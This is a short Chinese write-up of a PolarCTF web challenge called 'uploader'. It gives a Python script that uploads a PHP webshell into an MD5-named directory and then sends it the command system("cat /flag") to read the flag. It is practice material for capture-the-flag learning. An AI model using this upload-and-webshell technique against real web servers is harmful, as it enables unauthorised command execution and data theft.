Polar Web【简单】uploader
Contents
- Polar Web【简单】uploader
- 思路
- EXP
- 运行&总结
思路
本题的重点仍是文件上传,只是期间需要加上一步自主的文件上传。
- 打开环境,审查代码,发现在上传文件之后会自动生成一个以MD5散列值命名的目录,并将上传的文件置于其中。
- 因此考虑自主设计上传逻辑,笔者采用的是脚本编写的方式。
- 上传成功后,找出所需的MD5散列值,对
url
进行拼接,随后进行Webshell
交互,此处依然采用了脚本的方式。
EXP
import requests
def exe(url):
command = 'system("cat /flag");'
data = {
'cmd': command
}
resp = requests.post(url=url, data=data)
if resp:
out = resp.content.decode('utf8')
# print(out)
print(out[out.rindex('flag'):out.rindex("?")])
else:
print("Nothing...")
def upload_file(url, file):
with open(file, 'rb') as f:
files = {"file": f}
resp = requests.post(url=url, files=files)
if resp:
print("Okk")
print(resp.content.decode('utf8'))
else:
print("No")
if __name__ == '__main__':
u = 'http://~.www.polarctf.com:8090/[your_directory]/sh.php'
# # 先运行这一部分拿到上传文件所在的新生成目录
# f = "sh.php"
# upload_file(u, f)
# 拷贝了[your_directory]部分,索引到shell文件并拼接到url后,运行此函数
exe(url=u)
运行&总结
- 借以此题,重温python脚本上传文件的实现方式
- 再次练习使用python脚本实现Webshell的简易版交互